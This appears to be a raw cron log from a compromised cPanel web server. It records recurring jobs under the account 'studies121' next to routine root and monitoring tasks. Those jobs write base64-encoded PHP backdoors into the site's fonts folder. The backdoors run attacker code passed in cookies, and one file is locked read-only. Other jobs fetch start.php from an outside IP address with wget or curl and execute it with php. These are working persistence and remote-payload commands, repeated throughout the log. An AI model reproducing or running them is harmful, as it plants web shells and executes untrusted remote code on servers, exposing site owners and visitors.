Sep 21 19:48:01 ip-184-168-122-23 CROND[5978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:48:01 ip-184-168-122-23 CROND[5979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:48:01 ip-184-168-122-23 CROND[5977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:48:01 ip-184-168-122-23 CROND[5980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:49:01 ip-184-168-122-23 CROND[6077]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 19:49:01 ip-184-168-122-23 CROND[6076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:49:01 ip-184-168-122-23 CROND[6079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:49:01 ip-184-168-122-23 CROND[6080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:49:01 ip-184-168-122-23 CROND[6081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6221]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:50:01 ip-184-168-122-23 CROND[6225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:50:01 ip-184-168-122-23 CROND[6228]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:50:01 ip-184-168-122-23 CROND[6230]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:51:01 ip-184-168-122-23 CROND[6361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:51:01 ip-184-168-122-23 CROND[6359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:51:01 ip-184-168-122-23 CROND[6360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:51:01 ip-184-168-122-23 CROND[6362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:52:01 ip-184-168-122-23 CROND[6490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:52:01 ip-184-168-122-23 CROND[6492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:52:01 ip-184-168-122-23 CROND[6493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:52:01 ip-184-168-122-23 CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:52:01 ip-184-168-122-23 CROND[6495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:53:01 ip-184-168-122-23 CROND[6616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:53:01 ip-184-168-122-23 CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:53:01 ip-184-168-122-23 CROND[6617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:53:01 ip-184-168-122-23 CROND[6618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:54:01 ip-184-168-122-23 CROND[6743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:54:01 ip-184-168-122-23 CROND[6746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:54:01 ip-184-168-122-23 CROND[6749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:54:01 ip-184-168-122-23 CROND[6747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:54:01 ip-184-168-122-23 CROND[6748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:55:01 ip-184-168-122-23 CROND[6877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:55:01 ip-184-168-122-23 CROND[6879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 19:55:01 ip-184-168-122-23 CROND[6881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 19:55:01 ip-184-168-122-23 CROND[6878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:55:01 ip-184-168-122-23 CROND[6880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:55:01 ip-184-168-122-23 CROND[6882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:56:01 ip-184-168-122-23 CROND[7010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:56:01 ip-184-168-122-23 CROND[7013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:56:01 ip-184-168-122-23 CROND[7012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:56:01 ip-184-168-122-23 CROND[7014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:56:01 ip-184-168-122-23 CROND[7015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:57:01 ip-184-168-122-23 CROND[7333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:57:01 ip-184-168-122-23 CROND[7332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:57:01 ip-184-168-122-23 CROND[7335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:57:01 ip-184-168-122-23 CROND[7334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:58:01 ip-184-168-122-23 CROND[7439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:58:01 ip-184-168-122-23 CROND[7440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 19:58:01 ip-184-168-122-23 CROND[7442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:58:01 ip-184-168-122-23 CROND[7441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:58:01 ip-184-168-122-23 CROND[7444]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 19:59:01 ip-184-168-122-23 CROND[7555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 19:59:01 ip-184-168-122-23 CROND[7556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 19:59:01 ip-184-168-122-23 CROND[7559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 19:59:01 ip-184-168-122-23 CROND[7562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7668]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
